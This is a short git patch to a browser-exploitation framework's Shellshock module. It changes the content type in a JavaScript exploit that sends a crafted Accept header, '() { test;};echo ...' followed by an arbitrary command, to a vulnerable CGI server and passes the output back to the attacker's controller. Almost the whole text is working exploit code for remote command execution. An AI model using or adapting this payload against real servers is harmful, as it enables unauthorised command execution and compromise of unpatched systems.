From cd06076d920da3f38cd055a6f8a0261d6c95e437 Mon Sep 17 00:00:00 2001 From: radoen Date: Sun, 28 Sep 2014 13:44:05 +0200 Subject: [PATCH] fixed accept type --- modules/exploits/shell_shocked/command.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/shell_shocked/command.js b/modules/exploits/shell_shocked/command.js index 466eeca66..b2cfa6f27 100644 --- a/modules/exploits/shell_shocked/command.js +++ b/modules/exploits/shell_shocked/command.js @@ -18,7 +18,7 @@ beef.execute(function () { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response); } } - xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: application/xml\"; echo; echo; " + command); + xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command); xhr.send(null); } catch (e){